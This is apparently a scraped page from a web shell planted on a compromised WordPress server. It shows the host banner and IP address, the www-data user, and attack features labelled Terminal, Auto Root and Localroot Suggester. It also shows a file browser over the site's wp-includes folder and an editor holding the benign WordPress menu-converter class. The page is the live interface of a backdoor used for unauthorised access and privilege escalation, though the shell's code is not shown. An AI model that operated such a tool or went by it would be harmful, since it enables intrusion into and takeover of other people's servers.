Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cstage /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxr-xr-x
2026-09-02 14:27
IXR
[ DIR ]
drwxr-xr-x
2026-09-02 21:15
PHPMailer
[ DIR ]
drwxr-xr-x
2026-09-02 12:24
Requests
[ DIR ]
drwxr-xr-x
2026-08-12 08:57
SimplePie
[ DIR ]
drwxr-xr-x
2026-09-01 05:44
Text
[ DIR ]
drwxr-xr-x
2026-09-02 11:14
abilities-api
[ DIR ]
drwxr-xr-x
2026-09-02 10:29
ai-client
[ DIR ]
drwxr-xr-x
2026-08-12 08:57
block-patterns
[ DIR ]
drwxr-xr-x
2026-09-02 09:43
block-supports
[ DIR ]
drwxr-xr-x
2026-09-01 16:34
blocks
[ DIR ]
drwxr-xr-x
2026-09-02 22:23
build
[ DIR ]
drwxr-xr-x
2026-09-01 05:55
certificates
[ DIR ]
drwxr-xr-x
2026-09-02 10:37
css
[ DIR ]
drwxr-xr-x
2026-09-02 09:43
customize
[ DIR ]
drwxr-xr-x
2026-09-01 22:00
fonts
[ DIR ]
drwxr-xr-x
2026-09-02 09:49
html-api
[ DIR ]
drwxr-xr-x
2026-09-02 11:18
images
[ DIR ]
drwxr-xr-x
2026-09-02 10:42
interactivity-api
[ DIR ]
drwxr-xr-x
2026-09-02 13:48
js
[ DIR ]
drwxr-xr-x
2026-09-02 12:23
l10n
[ DIR ]
drwxr-xr-x
2026-08-12 08:57
php-ai-client
[ DIR ]
drwxr-xr-x
2026-09-01 06:11
php-compat
[ DIR ]
drwxr-xr-x
2026-09-02 09:35
pomo
[ DIR ]
drwxr-xr-x
2026-09-01 13:37
rest-api
[ DIR ]
drwxr-xr-x
2026-08-12 08:57
sitemaps
[ DIR ]
drwxr-xr-x
2026-09-02 12:28
sodium_compat
[ DIR ]
drwxr-xr-x
2026-09-02 10:46
style-engine
[ DIR ]
drwxr-xr-x
2026-09-02 09:43
theme-compat
[ DIR ]
drwxr-xr-x
2026-09-02 10:32
widgets
[ DIR ]
drwxr-xr-x
2026-09-02 19:06
bookmark-template.php
12.47
KB
-rw-r--r--
2025-04-16 03:32
class-walker-category.php
8.28
KB
-rw-r--r--
2023-09-08 09:32
class-wp-block-bindings-registry.php
8.07
KB
-rw-r--r--
2026-07-29 12:56
class-wp-block-list.php
4.6
KB
-rw-r--r--
2026-02-08 03:19
class-wp-block-metadata-registry.php
11.57
KB
-rw-r--r--
2026-07-29 12:56
class-wp-block-parser-frame.php
1.95
KB
-rw-r--r--
2026-07-29 12:56
class-wp-block-pattern-categories-registry.php
4.28
KB
-rw-r--r--
2026-07-29 12:56
class-wp-block-patterns-registry.php
10.07
KB
-rw-r--r--
2026-07-29 12:56
class-wp-block-templates-registry.php
6.91
KB
-rw-r--r--
2026-07-29 12:56
class-wp-classic-to-block-menu-converter.php
3.93
KB
-rw-r--r--
2026-07-29 12:56
class-wp-customize-nav-menus.php
56.61
KB
-rw-r--r--
2026-07-29 12:56
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
2024-10-22 10:16
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
2026-07-29 12:56
class-wp-http-requests-response.php
4.14
KB
-rw-r--r--
2026-07-29 12:56
class-wp-list-util.php
7.27
KB
-rw-r--r--
2024-02-27 22:38
class-wp-post-type.php
29.95
KB
-rw-r--r--
2026-07-29 12:56
class-wp-recovery-mode-key-service.php
4.8
KB
-rw-r--r--
2026-07-29 12:56
class-wp-text-diff-renderer-table.php
18.49
KB
-rw-r--r--
2026-07-29 12:56
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
2024-06-04 11:55
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2024-06-06 08:02
default-filters.php
36.54
KB
-rw-r--r--
2026-07-29 12:56
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-02-24 01:23
post-template.php
67.01
KB
-rw-r--r--
2026-07-29 12:56
Save
Rename
<?php /** * WP_Classic_To_Block_Menu_Converter class * * @package WordPress * @since 6.3.0 */ /** * Converts a Classic Menu to Block Menu blocks. * * @since 6.3.0 */ class WP_Classic_To_Block_Menu_Converter { /** * Converts a Classic Menu to blocks. * * @since 6.3.0 * * @param WP_Term $menu The Menu term object of the menu to convert. * @return string|WP_Error The serialized and normalized parsed blocks on success, * an empty string when there are no menus to convert, * or WP_Error on invalid menu. */ public static function convert( $menu ) { if ( ! is_nav_menu( $menu ) ) { return new WP_Error( 'invalid_menu', __( 'The menu provided is not a valid menu.' ) ); } $menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) ); if ( empty( $menu_items ) ) { return ''; } // Set up the $menu_item variables. // Adds the class property classes for the current context, if applicable. _wp_menu_item_classes_by_context( $menu_items ); $menu_items_by_parent_id = static::group_by_parent_id( $menu_items ); $first_menu_item = $menu_items_by_parent_id[0] ?? array(); $inner_blocks = static::to_blocks( $first_menu_item, $menu_items_by_parent_id ); return serialize_blocks( $inner_blocks ); } /** * Returns an array of menu items grouped by the id of the parent menu item. * * @since 6.3.0 * * @param array $menu_items An array of menu items. * @return array */ private static function group_by_parent_id( $menu_items ) { $menu_items_by_parent_id = array(); foreach ( $menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } return $menu_items_by_parent_id; } /** * Turns menu item data into a nested array of parsed blocks * * @since 6.3.0 * * @param array $menu_items An array of menu items that represent * an individual level of a menu. * @param array $menu_items_by_parent_id An array keyed by the id of the * parent menu where each element is an * array of menu items that belong to * that parent. * @return array An array of parsed block data. */ private static function to_blocks( $menu_items, $menu_items_by_parent_id ) { if ( empty( $menu_items ) ) { return array(); } $blocks = array(); foreach ( $menu_items as $menu_item ) { $class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null; $id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null; $opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target; $rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null; $kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom'; $block = array( 'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link', 'attrs' => array( 'className' => $class_name, 'description' => $menu_item->description, 'id' => $id, 'kind' => $kind, 'label' => $menu_item->title, 'opensInNewTab' => $opens_in_new_tab, 'rel' => $rel, 'title' => $menu_item->attr_title, 'type' => $menu_item->object, 'url' => $menu_item->url, ), ); $block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? static::to_blocks( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id ) : array(); $block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] ); $blocks[] = $block; } return $blocks; } }